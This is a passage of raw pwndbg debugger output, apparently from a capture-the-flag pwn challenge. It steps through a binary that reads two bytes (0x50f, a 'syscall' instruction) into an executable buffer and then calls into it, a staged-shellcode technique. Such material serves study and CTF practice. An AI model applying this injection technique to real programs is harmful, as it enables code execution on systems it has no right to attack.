]\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500<br> \u25ba 0x7f8da88496dd &lt;read+13&gt; &nbsp; &nbsp; cmp &nbsp; &nbsp;rax, -0x1000 &nbsp; &nbsp; 0xfffffffffffffe00 - -0x1000 &nbsp; &nbsp; EFLAGS =&gt; 0x206 &#91; cf PF af zf sf IF df of ]<br> &nbsp; 0x7f8da88496e3 &lt;read+19&gt; &nbsp; \u2714 ja &nbsp; &nbsp; read+112 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&lt;read+112&gt;<br> &nbsp; &nbsp;\u2193 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br> &nbsp; 0x7f8da8849740 &lt;read+112&gt; &nbsp; &nbsp;mov &nbsp; &nbsp;rdx, qword ptr &#91;rip + 0xe36b9] &nbsp; &nbsp; RDX, &#91;_GLOBAL_OFFSET_TABLE_+640] =&gt; 0xffffffffffffff88<br> &nbsp; 0x7f8da8849747 &lt;read+119&gt; &nbsp; &nbsp;neg &nbsp; &nbsp;eax<br> &nbsp; 0x7f8da8849749 &lt;read+121&gt; &nbsp; &nbsp;mov &nbsp; &nbsp;dword ptr fs:&#91;rdx], eax &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  &#91;0x7f8da87436c8] &lt;= 0x200<br> &nbsp; 0x7f8da884974c &lt;read+124&gt; &nbsp; &nbsp;mov &nbsp; &nbsp;rax, 0xffffffffffffffff &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;RAX =&gt; 0xffffffffffffffff<br> &nbsp; 0x7f8da8849753 &lt;read+131&gt; &nbsp; &nbsp;ret &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&lt;main+119&gt;<br> &nbsp; &nbsp;\u2193<br> &nbsp; 0x5638c4102240 &lt;main+119&gt; &nbsp; &nbsp;mov &nbsp; &nbsp;rsi, qword ptr &#91;rbp - 0x10] &nbsp; &nbsp; RSI, &#91;0x7ffdb3a241a0] =&gt; 0x7f8da8956000 \u25c2\u2014 0<br> &nbsp; 0x5638c4102244 &lt;main+123&gt; &nbsp; &nbsp;mov &nbsp; &nbsp;rcx, rsi &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;RCX =&gt; 0x7f8da8956000 \u25c2\u2014 0<br> &nbsp; 0x5638c4102247 &lt;main+126&gt; &nbsp; &nbsp;mov &nbsp; &nbsp;rdx, 0x500 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;RDX =&gt; 0x500<br> &nbsp; 0x5638c410224e &lt;main+133&gt; &nbsp; &nbsp;mov &nbsp; &nbsp;rax, 0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;RAX =&gt; 0<br>\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500&#91; STACK ]\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500<br>00:0000\u2502 rsp 0x7ffdb3a24198 \u2014\u25b8 0x5638c4102240 (main+119) \u25c2\u2014 mov rsi, qword ptr &#91;rbp - 0x10]<br>01:0008\u2502-010 0x7ffdb3a241a0 \u2014\u25b8 0x7f8da8956000 \u25c2\u2014 0<br>02:0010\u2502-008 0x7ffdb3a241a8 \u25c2\u2014 0xca8ba5bd102a5400<br>03:0018\u2502 rbp 0x7ffdb3a241b0 \u25c2\u2014 1<br>04:0020\u2502+008 0x7ffdb3a241b8 \u2014\u25b8 0x7f8da876fd68 (__libc_start_call_main+120) \u25c2\u2014 mov edi, eax<br>05:0028\u2502+010 0x7ffdb3a241c0 \u2014\u25b8 0x7ffdb3a242b0 \u2014\u25b8 0x7ffdb3a242b8 \u25c2\u2014 0x38 \/* '8' *\/<br>06:0030\u2502+018 0x7ffdb3a241c8 \u2014\u25b8 0x5638c41021c9 (main) \u25c2\u2014 endbr64 <br>07:0038\u2502+020 0x7ffdb3a241d0 \u25c2\u2014 0x1c4101040<br>\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500&#91; BACKTRACE ]\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500<br> \u25ba 0 &nbsp; 0x7f8da88496dd read+13<br> &nbsp; 1 &nbsp; 0x5638c4102240 main+119<br> &nbsp; 2 &nbsp; 0x7f8da876fd68 __libc_start_call_main+120<br> &nbsp; 3 &nbsp; 0x7f8da876fe25 __libc_start_main+133<br> &nbsp; 4 &nbsp; 0x5638c4102105 _start+37<br>\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500<br>pwndbg&gt; fin<br>Run till exit from #0 &nbsp;0x00007f8da88496dd in __GI___libc_read (fd=0, <br> &nbsp; &nbsp;buf=0x7f8da8956000, nbytes=2) at ..\/sysdeps\/unix\/sysv\/linux\/read.c:26<br>0x00005638c4102240 in main ()<br>Value returned is $1 = 2<br>LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA<br>\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500&#91; REGISTERS \/ show-flags off \/ show-compact-regs off ]\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500<br>*RAX &nbsp;2<br> RBX &nbsp;0x7ffdb3a242c8 \u2014\u25b8 0x7ffdb3a25951 \u25c2\u2014 '.\/attachment'<br> RCX &nbsp;0x7f8da88496dd (read+13) \u25c2\u2014 cmp rax, -0x1000 \/* 'H=' *\/<br> RDX &nbsp;2<br> RDI &nbsp;0<br> RSI &nbsp;0x7f8da8956000 \u25c2\u2014 0x50f<br> R8 &nbsp; 0xffffffff<br> R9 &nbsp; 0<br> R10 &nbsp;0x22<br> R11 &nbsp;0x246<br> R12 &nbsp;0<br> R13 &nbsp;0x7ffdb3a242d8 \u2014\u25b8 0x7ffdb3a2595e \u25c2\u2014 'XDG_GREETER_DATA_DIR=\/var\/lib\/lightdm\/data\/kali'<br> R14 &nbsp;0x7f8da8994000 (_rtld_global) \u2014\u25b8 0x7f8da89952e0 \u2014\u25b8 0x5638c4101000 \u25c2\u2014 0x10102464c457f<br> R15 &nbsp;0x5638c4104da0 (__do_global_dtors_aux_fini_array_entry) \u2014\u25b8 0x5638c4102180 (__do_global_dtors_aux) \u25c2\u2014 endbr64 <br> RBP &nbsp;0x7ffdb3a241b0 \u25c2\u2014 1<br>*RSP &nbsp;0x7ffdb3a241a0 \u2014\u25b8 0x7f8da8956000 \u25c2\u2014 0x50f<br>*RIP &nbsp;0x5638c4102240 (main+119) \u25c2\u2014 mov rsi, qword ptr &#91;rbp - 0x10]<br>\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500&#91; DISASM \/ x86-64 \/ set emulate on ]\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500<br> &nbsp; 0x7f8da8849740 &lt;read+112&gt; &nbsp; &nbsp;mov &nbsp; &nbsp;rdx, qword ptr &#91;rip + 0xe36b9] &nbsp; &nbsp; RDX, &#91;_GLOBAL_OFFSET_TABLE_+640] =&gt; 0xffffffffffffff88<br> &nbsp; 0x7f8da8849747 &lt;read+119&gt; &nbsp; &nbsp;neg &nbsp; &nbsp;eax<br> &nbsp; 0x7f8da8849749 &lt;read+121&gt; &nbsp; &nbsp;mov &nbsp; &nbsp;dword ptr fs:&#91;rdx], eax &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  &#91;0x7f8da87436c8] &lt;= 0x200<br> &nbsp; 0x7f8da884974c &lt;read+124&gt; &nbsp; &nbsp;mov &nbsp; &nbsp;rax, 0xffffffffffffffff &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;RAX =&gt; 0xffffffffffffffff<br> &nbsp; 0x7f8da8849753 &lt;read+131&gt; &nbsp; &nbsp;ret &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&lt;main+119&gt;<br> &nbsp; &nbsp;\u2193<br> \u25ba 0x5638c4102240 &lt;main+119&gt; &nbsp; &nbsp;mov &nbsp; &nbsp;rsi, qword ptr &#91;rbp - 0x10] &nbsp; &nbsp; RSI, &#91;0x7ffdb3a241a0] =&gt; 0x7f8da8956000 \u25c2\u2014 0x50f<br> &nbsp; 0x5638c4102244 &lt;main+123&gt; &nbsp; &nbsp;mov &nbsp; &nbsp;rcx, rsi &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;RCX =&gt; 0x7f8da8956000 \u25c2\u2014 0x50f<br> &nbsp; 0x5638c4102247 &lt;main+126&gt; &nbsp; &nbsp;mov &nbsp; &nbsp;rdx, 0x500 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;RDX =&gt; 0x500<br> &nbsp; 0x5638c410224e &lt;main+133&gt; &nbsp; &nbsp;mov &nbsp; &nbsp;rax, 0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;RAX =&gt; 0<br> &nbsp; 0x5638c4102255 &lt;main+140&gt; &nbsp; &nbsp;call &nbsp; rcx &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;0x7f8da8956000&gt;<br>\u200b<br> &nbsp; 0x5638c4102257 &lt;main+142&gt; &nbsp; &nbsp;mov &nbsp; &nbsp;rax, qword ptr &#91;rbp - 0x10]<br>\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500&#91; STACK ]\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500<br>00:0000\u2502 rsp 0x7ffdb3a241a0 \u2014\u25b8 0x7f8da8956000 \u25c2\u2014 0x50f<br>01:0008\u2502-008 0x7ffdb3a241a8 \u25c2\u2014 0xca8ba5bd102a5400<br>02:0010\u2502 rbp 0x7ffdb3a241b0 \u25c2\u2014 1<br>03:0018\u2502+008 0x7ffdb3a241b8 \u2014\u25b8 0x7f8da876fd68 (__libc_start_call_main+120) \u25c2\u2014 mov edi, eax<br>04:0020\u2502+010 0x7ffdb3a241c0 \u2014\u25b8 0x7ffdb3a242b0 \u2014\u25b8 0x7ffdb3a242b8 \u25c2\u2014 0x38 \/* '8' *\/<br>05:0028\u2502+018 0x7ffdb3a241c8 \u2014\u25b8 0x5638c41021c9 (main) \u25c2\u2014 endbr64 <br>06:0030\u2502+020 0x7ffdb3a241d0 \u25c2\u2014 0x1c4101040<br>07:0038\u2502+028 0x7ffdb3a241d8 \u2014\u25b8 0x7ffdb3a242c8 \u2014\u25b8 0x7ffdb3a25951 \u25c2\u2014 '.\/attachment'<br>\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500&#91; BACKTRACE ]\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500<br> \u25ba 0 &nbsp; 0x5638c4102240 main+119<br> &nbsp; 1 &nbsp; 0x7f8da876fd68 __libc_start_call_main+120<br> &nbsp; 2 &nbsp; 0x7f8da876fe25 __libc_start_main+133<br> &nbsp; 3 &nbsp; 0x5638c4102105 _start+37<br>\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500<br>pwndbg&gt; ni<br>0x00005638c4102244 in main ()<br>LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA<br>\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500&#91; REGISTERS \/ show-flags off \/ show-compact-regs off ]\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500<br> RAX &nbsp;2<br> RBX &nbsp;0x7ffdb3a242c8 \u2014\u25b8 0x7ffdb3a25951 \u25c2\u2014 '.\/attachment'<br> RCX &nbsp;0x7f8da88496dd (read+13) \u25c2\u2014 cmp rax, -0x1000 \/* 'H=' *\/<br> RDX &nbsp;2<br> RDI &nbsp;0<br> RSI &nbsp;0x7f8da8956000 \u25c2\u2014 0x50f<br> R8 &nbsp; 0xffffffff<br> R9 &nbsp; 0<br> R10 &nbsp;0x22<br> R11 &nbsp;0x246<br> R12 &nbsp;0<br> R13 &nbsp;0x7ffdb3a242d8 \u2014\u25b8 0x7ffdb3a2595e \u25c2\u2014 'XDG_GREETER_DATA_DIR=\/var\/lib\/lightdm\/data\/kali'<br> R14 &nbsp;0x7f8da8994000 (_rtld_global) \u2014\u25b8 0x7f8da89952e0 \u2014\u25b8 0x5638c4101000 \u25c2\u2014 0x10102464c457f<br> R15 &nbsp;0x5638c4104da0 (__do_global_dtors_aux_fini_array_entry) \u2014\u25b8 0x5638c4102180 (__do_global_dtors_aux) \u25c2\u2014 endbr64 <br> RBP &nbsp;0x7ffdb3a241b0 \u25c2\u2014 1<br> RSP &nbsp;0x7ffdb3a241a0 \u2014\u25b8 0x7f8da8956000 \u25c2\u2014 0x50f<br>*RIP &nbsp;0x5638c4102244 (main+123) \u25c2\u2014 mov rcx, rsi<br>\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500&#91; DISASM \/ x86-64 \/ set emulate on ]\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500<br> &nbsp; 0x7f8da8849747 &lt;read+119&gt; &nbsp; &nbsp;neg &nbsp; &nbsp;eax<br> &nbsp; 0x7f8da8849749 &lt;read+121&gt; &nbsp; &nbsp;mov &nbsp; &nbsp;dword ptr fs:&#91;rdx], eax &nbsp; &nbsp; &#91;0x7f8da87436c8] &lt;= 0x200<br> &nbsp; 0x7f8da884974c &lt;read+124&gt; &nbsp; &nbsp;mov &nbsp; &nbsp;rax, 0xffffffffffffffff &nbsp; &nbsp; RAX =&gt; 0xffffffffffffffff<br> &nbsp; 0x7f8da8849753 &lt;read+131&gt; &nbsp; &nbsp;ret &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&lt;main+119&gt;<br> &nbsp; &nbsp;\u2193<br> &nbsp; 0x5638c4102240 &lt;main+119&gt; &nbsp; &nbsp;mov &nbsp; &nbsp;rsi, qword ptr &#91;rbp - 0x10] &nbsp; &nbsp; RSI, &#91;0x7ffdb3a241a0] =&gt; 0x7f8da8956000 \u25c2\u2014 0x50f<br> \u25ba 0x5638c4102244 &lt;main+123&gt; &nbsp; &nbsp;mov &nbsp; &nbsp;rcx, rsi &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;RCX =&gt; 0x7f8da8956000 \u25c2\u2014 0x50f<br> &nbsp; 0x5638c4102247 &lt;main+126&gt; &nbsp; &nbsp;mov &nbsp; &nbsp;rdx, 0x500 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;RDX =&gt; 0x500<br> &nbsp; 0x5638c410224e &lt;main+133&gt; &nbsp; &nbsp;mov &nbsp; &nbsp;rax, 0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;RAX =&gt; 0<br> &nbsp; 0x5638c4102255 &lt;main+140&gt; &nbsp; &nbsp;call &nbsp; rcx &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;0x7f8da8956000&gt;<br>\u200b<br> &nbsp; 0x5638c4102257 &lt;main+142&gt; &nbsp; &nbsp;mov &nbsp; &nbsp;rax, qword ptr &#91;rbp - 0x10]<br> &nbsp; 0x5638c410225b &lt;main+146&gt; &nbsp; &nbsp;mov &nbsp; &nbsp;esi, 0x1000 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ESI =&gt; 0x1000<br>\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500&#91; STACK ]\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500<br>00:0000\u2502 rsp 0x7ffdb3a241a0 \u2014\u25b8 0x7f8da8956000 \u25c2\u2014 0x50f<br>01:0008\u2502-008 0x7ffdb3a241a8 \u25c2\u2014 0xca8ba5bd102a5400<br>02:0010\u2502 rbp 0x7ffdb3a241b0 \u25c2\u2014 1<br>03:0018\u2502+008 0x7ffdb3a241b8 \u2014\u25b8 0x7f8da876fd68 (__libc_start_call_main+120) \u25c2\u2014 mov edi, eax<br>04:0020\u2502+010 0x7ffdb3a241c0 \u2014\u25b8 0x7ffdb3a242b0 \u2014\u25b8 0x7ffdb3a242b8 \u25c2\u2014 0x38 \/* '8' *\/<br>05:0028\u2502+018 0x7ffdb3a241c8 \u2014\u25b8 0x5638c41021c9 (main) \u25c2\u2014 endbr64 <br>06:0030\u2502+020 0x7ffdb3a241d0 \u25c2\u2014 0x1c4101040<br>07:0038\u2502+028 0x7ffdb3a241d8 \u2014\u25b8 0x7ffdb3a242c8 \u2014\u25b8 0x7ffdb3a25951 \u25c2\u2014 '.\/attachment'<br>\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500&#91; BACKTRACE ]\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500<br> \u25ba 0 &nbsp; 0x5638c4102244 main+123<br> &nbsp; 1 &nbsp; 0x7f8da876fd68 __libc_start_call_main+120<br> &nbsp; 2 &nbsp; 0x7f8da876fe25 __libc_start_main+133<br> &nbsp; 3 &nbsp; 0x5638c4102105 _start+37<br>\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500<br>pwndbg&gt; <br>0x00005638c4102247 in main ()<br>LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA<br>\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500&#91; REGISTERS \/ show-flags off \/ show-compact-regs off ]\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500<br> RAX &nbsp;2<br> RBX &nbsp;0x7ffdb3a242c8 \u2014\u25b8 0x7ffdb3a25951 \u25c2\u2014 '.\/attachment'<br>*RCX &nbsp;0x7f8da8956000 \u25c2\u2014 0x50f<br> RDX &nbsp;2<br> RDI &nbsp;0<br> RSI &nbsp;0x7f8da8956000 \u25c2\u2014 0x50f<br> R8 &nbsp; 0xffffffff<br> R9 &nbsp; 0<br> R10 &nbsp;0x22<br> R11 &nbsp;0x246<br> R12 &nbsp;0<br> R13 &nbsp;0x7ffdb3a242d8 \u2014\u25b8 0x7ffdb3a2595e \u25c2\u2014 'XDG_GREETER_DATA_DIR=\/var\/lib\/lightdm\/data\/kali'<br> R14 &nbsp;0x7f8da8994000 (_rtld_global) \u2014\u25b8 0x7f8da89952e0 \u2014\u25b8 0x5638c4101000 \u25c2\u2014 0x10102464c457f<br> R15 &nbsp;0x5638c4104da0 (__do_global_dtors_aux_fini_array_entry) \u2014\u25b8 0x5638c4102180 (__do_global_dtors_aux) \u25c2\u2014 endbr64 <br> RBP &nbsp;0x7ffdb3a241b0 \u25c2\u2014 1<br> RSP &nbsp;0x7ffdb3a241a0 \u2014\u25b8 0x7f8da8956000 \u25c2\u2014 0x50f<br>*RIP &nbsp;0x5638c4102247 (main+126) \u25c2\u2014 mov rdx, 0x500<br>\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500&#91; DISASM \/ x86-64 \/ set emulate on ]\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500<br> &nbsp; 0x7f8da8849749 &lt;read+121&gt; &nbsp; &nbsp;mov &nbsp; &nbsp;dword ptr fs:&#91;rdx], eax &nbsp; &nbsp; &#91;0x7f8da87436c8] &lt;= 0x200<br> &nbsp; 0x7f8da884974c &lt;read+124&gt; &nbsp; &nbsp;mov &nbsp; &nbsp;rax, 0xffffffffffffffff &nbsp; &nbsp; RAX =&gt; 0xffffffffffffffff<br> &nbsp; 0x7f8da8849753 &lt;read+131&gt; &nbsp; &nbsp;ret &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&lt;main+119&gt;<br> &nbsp; &nbsp;\u2193<br> &nbsp; 0x5638c4102240 &lt;main+119&gt; &nbsp; &nbsp;mov &nbsp; &nbsp;rsi, qword ptr &#91;rbp - 0x10] &nbsp; &nbsp; RSI, &#91;0x7ffdb3a241a0] =&gt; 0x7f8da8956000 \u25c2\u2014 0x50f<br> &nbsp; 0x5638c4102244 &lt;main+123&gt; &nbsp; &nbsp;mov &nbsp; &nbsp;rcx, rsi &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;RCX =&gt; 0x7f8da8956000 \u25c2\u2014 0x50f<br> \u25ba 0x5638c4102247 &lt;main+126&gt; &nbsp; &nbsp;mov &nbsp; &nbsp;rdx, 0x500 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;RDX =&gt; 0x500<br> &nbsp; 0x5638c410224e &lt;main+133&gt; &nbsp; &nbsp;mov &nbsp; &nbsp;rax, 0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;RAX =&gt; 0<br> &nbsp; 0x5638c4102255 &lt;main+140&gt; &nbsp; &nbsp;call &nbsp; rcx &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;0x7f8da8956000&gt;<br>\u200b<br> &nbsp; 0x5638c4102257 &lt;main+142&gt; &nbsp; &nbsp;mov &nbsp; &nbsp;rax, qword ptr &#91;rbp - 0x10]<br> &nbsp; 0x5638c410225b &lt;main+146&gt; &nbsp; &nbsp;mov &nbsp; &nbsp;esi, 0x1000 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ESI =&gt; 0x1000<br> &nbsp; 0x5638c4102260 &lt;main+151&gt; &nbsp; &nbsp;mov &nbsp; &nbsp;rdi, rax<br>\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500&#91; STACK ]\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500<br>00:0000\u2502 rsp 0x7ffdb3a241a0 \u2014\u25b8 0x7f8da8956000 \u25c2\u2014 0x50f<br>01:0008\u2502-008 0x7ffdb3a241a8 \u25c2\u2014 0xca8ba5bd102a5400<br>02:0010\u2502 rbp 0x7ffdb3a241b0 \u25c2\u2014 1<br>03:0018\u2502+008 0x7ffdb3a241b8 \u2014\u25b8 0x7f8da876fd68 